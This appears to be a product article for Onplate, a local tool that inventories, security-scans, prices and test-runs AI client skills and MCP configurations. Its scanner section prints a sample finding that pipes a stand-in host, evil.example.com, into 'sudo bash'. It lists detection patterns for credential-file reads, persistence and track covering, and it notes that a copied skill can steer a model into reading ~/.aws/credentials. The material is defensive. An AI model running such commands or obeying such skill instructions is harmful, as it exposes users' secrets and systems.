The problem

The first week with an AI client looks like this: you install Claude Code, copy a skill from a colleague, take a second one from a marketplace, and add a CLAUDE.md for your project. Every addition is a one-line decision: copy a file into the client’s folder and it works.

It works because a skill, a subagent, a rule file, and an MCP server definition are files the client feeds into the session on its own, with no separate command. And a skill is not a note: it is a list of instructions a model will follow. A copied file can therefore end with a model reading ~/.aws/credentials, and nothing in a chat window shows that.

Those decisions add up over a year. One laptop ends up with five clients: Claude Code, Codex CLI, Cursor, GLM, and OpenCode, holding skills, MCP servers, subagents, commands, hooks, and rule files. This is the state they produce on disk:

~/.claude/skills/go-review/SKILL.md     added by hand, version unknown
~/.claude/agents/db-migrator.md         copied from a colleague
~/.codex/                               the same skill, an older edition
~/.cursor/                              a copy the model never reads
<project>/.agents/skills/               read by Codex and by Cursor
<project>/.claude/skills/               arrived with the repository
<project>/.mcp.json                     three servers, one unrecognized
~/CLAUDE.md, <project>/CLAUDE.md        read before any skill

Every one of those files reaches a model. None of them answers a question about itself: where it came from, which version it is, whether anything ever scanned it, how many tokens it spends on every request, and whether it fired once in the last month.

Onplate is a local application that answers those questions about the files that are already there. It puts one shape on them:

where the resource came from
  a marketplace, a Git repository, a folder on this disk, or written here
        |
        v
onplate storage                        one entry per resource
  version history                      scanner verdict, risk 0 to 100
  token price                          invocations over 30 days
        |
        |  install: a copy written into one client's folder
        v
AI clients                             scope
  Claude Code    ~/.claude/skills/           global
  Codex CLI      ~/.codex/                   global
  Cursor         ~/.cursor/                  global
  GLM                                        global
  OpenCode                                   global
  any of them    <project>/.claude/skills/   project
        |
        |  binding: entry, version, client, scope, path
        v
every session that client opens

Nothing in that shape is new work. Those files already exist and already reach a model; what is missing is the middle row, where a resource has a version, a verdict, a price, and a record of use.

The checks below follow the shape in the order that matters:

Act 1   scan      what is on disk, and where it came from
Act 2   verdict   what is inside it
Act 3   price     what it costs on every request
Act 4   run       whether the model reaches for it at all

What “storage”, “install”, and “binding” mean here

The word “installed” covers three different states, and keeping them apart is what the whole interface is built on.

Storage is the Onplate library. A skill saved there has version history and a security verdict, and no AI client knows about it yet.

An install is a copy written into one client’s folder. That is the moment the client starts using it.

A binding is the record tying the two together: skill go-review version 1.2.0 is installed into Claude Code, globally, at this exact path. One entry in storage has as many bindings as there are clients using it.

A skill can sit in storage and be invisible to every client. It can also sit on disk with no entry in storage at all. From inside a chat window those two failures look identical, which is why the screens keep them apart.

Act 1: find out what is already on disk

The first operation is Scan system. It walks the home directories of the supported clients (~/.claude, ~/.codex, ~/.cursor, and the rest), the Claude Code projects, and whatever else is listed in the Where to look block: project folders, scanned recursively, and individual skill folders that sit outside the usual places. The result is one line:

Found 12: importable 8, modified manually 2, conflict 1, unknown format 1

Each of those words is a status with a different next step:

Status What it means
Importable an ordinary skill, it can enter storage as it is
Modified manually Onplate knows this skill, but the file on disk differs from the stored version
Conflict the file matches no saved version, so somebody has to decide whose edit wins
Unknown format the file sits in a skills folder and could not be parsed
Missing a binding says the file is installed, and the file is gone from disk

Next to the result is a Where we looked report: how many directories were checked, how many skills were found, which directories do not exist, and where access was denied. That report is the reason an empty result stops being a mystery. “No skills found” and “~/.codex does not exist on this machine” are different answers, and only one of them means the scan worked.

Four actions are available per find. Import copies it into storage, where it gains versions, a scan, and the ability to be installed elsewhere. Take under management goes further and links the file on disk to the storage entry, so updates flow to it. Ignore means “I know about this file, stop showing it”. Delete from disk removes it from the client folder after a confirmation.

Instruction files are listed separately: CLAUDE.md, AGENTS.md, and their kind, with a count of how many blocks inside them Onplate itself wrote. A file that nobody touched is labelled “your text only”.

Act 2: the scanner runs before the model does

A failure in a skill is not a broken build. Everything compiles, the tests pass, and the model does what somebody else’s file told it to, which in the answer looks like ordinary work. That is why every entry in storage carries a scanner verdict.

The scanner looks for prompt injection, instructions to send file or conversation contents outside, reads of secret stores (~/.aws/credentials, ~/.ssh/id_rsa, .env, the Keychain), shell commands that delete files or escalate with sudo, unsafe installs of the curl … | bash kind, persistence through crontab and shell profiles, track covering such as chmod 777 and disabled history, hidden unicode characters, base64 blobs, and links to external addresses weighed against a list of trusted domains.

A finding is not a category label. It carries the evidence:

level      danger
line       47
evidence   curl https://evil.example.com | sudo bash
rule       unsafe install: downloaded code executed with sudo
what to do drop the pipe into a shell, or vendor the script and read it first

Two forms of disguise are recognized and marked as such: obfuscation, and multi-line commands glued together with a line break, so that a curl … \ followed by | bash on the next line does not pass as two harmless fragments.

The result is a score, a numeric risk from 0 to 100, and the scanner’s own confidence, which drops to medium or low wherever a heuristic or an obfuscation was involved:

Score What it means What it costs to install
Safe no findings, or informational ones only nothing
Suspicious there are lines a human should read a look at the findings
Dangerous dangerous constructs were found a written justification

Above the findings are two summaries that answer the two questions a reviewer actually has: every external host the skill reaches out to, and every tool and permission it asks for.

Scanners over-report, so a finding can be closed three ways: accept the risk with a comment, false positive, or never count as a finding for a rule that is noisy across the whole catalogue. The first two apply to one entry, the third to everything. Rules get stricter over time, and when an update outgrows an old acknowledgement the finding is marked acknowledgement outdated and counts again.

A dangerous skill can still be installed. It cannot be installed quietly: the justification is required text, it stays on the card, and a bulk install does not bypass that gate. Dangerous entries are added one at a time, after the findings have been read.

Act 3: what the configuration costs on every request

Metadata for installed skills enters a session before the first message is sent, so a large global configuration has a permanent price. Onplate estimates it per client, and splits the estimate the way the model actually experiences it:

per AI tool
├── instructions        CLAUDE.md, AGENTS.md, and the files their @-imports pull in
├── project resources   installed into this folder
└── global resources    installed into the tool, visible in every project

always in context       spent on every request
maximum on activation   added only when a resource fires

Those two numbers are kept apart on purpose. Adding them together produces a total that never happens, and a number that never happens is not useful for deciding anything.

The other half of the price is whether anything was bought. Local client journals record which skills and subagents were actually invoked, and each invocation is tied to the evidence for it: a Skill or Task call recorded by Claude Code, a SKILL.md opened by Codex from a known skill directory, a skill call recorded by OpenCode. The analysis has three limits, and all three are stated rather than smoothed over: conversation text is never stored, MCP calls are left out where the source does not allow identifying them reliably, and zero activity is reported as “no supported logs were found” rather than as a zero.

“Not invoked in 30 days” proves nothing on its own. Next to the number of tokens that skill spends on every single request, it turns into a decision.

Act 4: does the skill fire at all?

Installed, safe, and priced still leaves the question that matters most: when a fitting task arrives, does the model reach for the skill? That depends almost entirely on the description, and nothing on disk shows it.

A run answers it with a fact. By default the task is assembled from the skill’s own description, because the description is what is being tested. The client’s command line starts as an ordinary child process, in a temporary directory holding that one skill:

temporary directory   the skill under test, and nothing else
child process         the client's own CLI, your subscription, your quota
after the run         the directory is deleted, your configs are untouched

The model chosen for the run is cheap on purpose, because the subject is the description rather than the strength of the model. The same run cost $0.13 on Sonnet and $0.03 on Haiku, and a default spending cap of $1 stops an accidentally huge task.

The verdict is read out of the session log the client itself keeps, not out of the model’s answer to “did you use the skill?”. There are five outcomes, and only two of them are about the description:

Result What it points at
The skill fired nothing, with the step, tokens, time, and price shown
The skill did not fire the description, shown right there with a button into the editor
Another skill took the task a neighbour the model picks first, not this description
The skill was not even offered the name or the frontmatter, it never reached the model
Stopped by time or the cap nothing, the run was interrupted halfway

Runs are stored, and the value is in the pair rather than the single record. Fix a description, repeat the same task, and the comparison is named: got better, stopped firing after the update (a regression, because the version changed while the task did not), or the same skill answered differently (the same version and the same task, which is the spread of the model and is reported as that instead of as a breakage).

Two limits bound the feature. A skill scored dangerous is refused before the start, because a run executes the instructions for real. And a run needs a command line: GLM has none, so that row in the compatibility matrix is empty rather than optimistic.

Five clients, five sets of rules

Skills work in all five clients. Almost nothing else does, and there is no single installation rule to average the differences into:

Client Skills Reasoning effort Tool allowlist CLI, so runs work
Claude Code yes yes yes yes
Codex CLI yes yes no yes
Cursor yes no no yes
GLM yes yes yes no
OpenCode yes no no yes

Cursor carries a warning of its own, and it was measured rather than read off the documentation. Cursor reads the project’s foreign directories, .claude, .codex, and .agents, before its own .cursor. If a skill of the same name already sits in one of them, the copy written into .cursor lands on disk and never reaches the model:

<project>/.claude/skills/go-review/    read first, this one wins
<project>/.codex/
<project>/.agents/skills/
<project>/.cursor/skills/go-review/    on disk, never read

Onplate says that before the install rather than after it.

The shared .agents/skills convention is supported too, and it is deliberately listed as a folder rather than as a client. Codex and Cursor both read it, so one copy there replaces two. Claude Code does not read it, which is exactly why calling it a tool would be wrong. Onplate never creates that folder on its own: offering a place that does not exist is an invitation to invent one.

Reusable launch modes

A client starts with choices about the model, the reasoning effort, what it may do without asking, which tools it may use, and which directories it can see. Keeping a working combination in shell history is inconvenient, and a mistake in the permissions part is expensive.

A mode is that combination, prepared in advance. The exact command is shown before the button is pressed, so it can be read, copied, and run by hand. Whatever the selected client will not understand is named separately, using the table above: there is no point in offering a reasoning-effort setting to Cursor. Instead of losing part of the configuration silently, the interface says up front what will not reach the client.

Launching a mode changes nothing on disk. When the configuration is needed outside Onplate as well, a mode can be written into the client’s own settings file: the exact changes are shown before the write, and a copy of the previous file is kept next to it.

The no-confirmation level is a decision of its own, and it is stated in plain words before launch: at that level the client will not ask before editing or deleting files, and will not ask before running commands.

The marketplace supplies, it does not install

A marketplace makes skills, MCP servers, and subagents easy to find. Installing straight from an external catalogue is a different matter, because the two questions that decide it, what is in the file and who wrote it, are exactly the ones a one-click install skips.

Here the marketplace only supplies the resource. The preview holds the full SKILL.md text with the dangerous lines highlighted inside it and the findings explained underneath, a link to the original page, and a “Copy to clipboard” button. Skills already in storage are marked as such, so nobody creates a duplicate by accident. A dangerous skill still imports only with a written justification.

Three details make the section usable rather than decorative. Daily quotas are visible: the remaining request count and the reset time sit in the interface instead of surfacing as a failed search. A custom catalogue can be added over its API with a name, a base URL, and an encrypted key that is shown masked after saving, plus a field mapping when the JSON does not follow the expected shape and a Test request before anything is saved. And the MCP tab draws on the official Model Context Protocol registry, where a server description turns into a local configuration: a URL and headers for a remote server, a command with arguments and environment variables for a local one.

Secret fields are the one thing the registry never provides. Tokens, keys, and sensitive header values are typed in locally, stored encrypted, and written into a client config only at the moment of install. They do not appear in exports or in anything published to a team.

Finding a resource and installing it stay two separate actions. A skill is not pushed into every project, and an MCP server gets no secrets until somebody types them in.

Conflicts, the journal, and getting back

Two skills can contradict each other, and the result is not an error message but a model that behaves inconsistently:

skill A   "always answer as briefly as possible"
skill B   "always spell the answer out in detail, with examples"

The conflicts check compares skill instructions pairwise and reports the specific lines, with numbers, plus what to do: rephrase one, merge them, or remove one of the installs. MCP servers collide differently, over names in a config: a foreign entry already holding the name, or two of your own servers claiming the same key, where installing one erases the other. Subagents are one file per name (<agents>/<name>.md), so a foreign file with that name would be overwritten, and that case is marked as a collision with a foreign file.

Every managed install, update, rollback, and removal enters the operation journal. Deleted resources and versions go to a trash area first. Reversibility matters here for a specific reason: a broken AI configuration usually surfaces several sessions later, when nobody connects it to a change made last week.

Two asymmetries are worth knowing before the first deletion. Restoring from the trash brings back the entry and its versions, and it does not recreate the installs that were removed from disk. And deleting an MCP server from storage does not go through the trash at all, because the encrypted secrets cannot be restored.

Local operation and privacy

There is no required account, no telemetry, and no cloud backend. Scanning, security checks, context estimates, and journal analysis all run on the local machine.

Network access happens only where an action requires it: marketplace search, Git sources, MCP registries, update checks, and a skill run, which goes through the provider you chose and spends your own quota. Session history does not leave the machine.

How to audit a setup that already exists

  1. Scan before changing anything. The years of hand-copied files become a list with statuses, and the two statuses that need a human, “modified manually” and “conflict”, are separated from the eight that do not.
  2. Read the “Where we looked” report, not just the results. A short result list means either a clean machine or a directory that was never opened, and only that report tells the two apart.
  3. Scan the text before the file exists. Somebody else’s skill can be pasted into the scanner as plain text, which is cheaper than adding it and then deciding.
  4. Price the global scope first. A global skill is metadata in every session of that client, including every session that has nothing to do with it. That is the one cost paid unconditionally.
  5. Run the skills written in-house. A skill nobody wrote a description for is the most likely one to be sitting in context without ever firing, and a run settles it for a few cents.

Pitfalls

A file can be installed and still unread. Cursor’s precedence over .claude, .codex, and .agents means a correct install into .cursor can be dead on arrival. The same shape appears wherever two clients read the same directory under different rules.

An install can outlive its entry in storage. Delete a skill from storage and the file stays in the client folder, still influencing the model, with nothing managing it. Those are listed as orphaned installs, and removing one takes out both the file and the binding.

Restoring from the trash is not undoing a removal. The entry and its versions come back. The installs do not, and they have to be made again.

A dismissed finding has a shelf life. Rules get stricter, and an acknowledgement that no longer covers what the rule now sees is marked outdated rather than silently honoured.

One run is not a guarantee. Models are not deterministic, and the report says so instead of presenting a single outcome as a property of the skill.

Confirmation of a write is not confirmation that the thing works. After an MCP install, a confirmed result means the config was re-read and the expected entry was there. Whether the server starts, connects, and offers its tools is a separate check.

Takeaways

  • The three states of one resource, in storage, installed, and recorded as a binding, are what makes an inventory possible. Every question worth asking (“which version is deployed where”, “what can be removed”) is a question about the relationship between those three, not about a file.
  • A skill is executable instructions, so it deserves a scan on the way in rather than a code review nobody performs. The useful part of a finding is the evidence line and the line number, not the category.
  • Context has two prices, one paid on every request and one paid on activation, and only the first is charged unconditionally. A global configuration is the place where that price accumulates without anybody deciding to pay it.
  • Whether a skill fires is an empirical question with a cheap answer. A few cents and a temporary directory replace an argument about whether the description is good enough.
  • Five clients do not share a rule set. Differences in paths, precedence, and supported settings are worth carrying explicitly, because the alternative is a configuration that looks applied and is not.

The chain is short once each link is visible. A file lands in a client’s directory, the client reads it into every session it opens, the model follows what it says, and the cost appears on every request whether the skill is used or not. Onplate does not add a layer to that chain. It makes each link answer for itself: where the file came from, what is in it, what it costs, and whether anything has ever used it.


Onplate: onplate.tsymbal.dev · documentation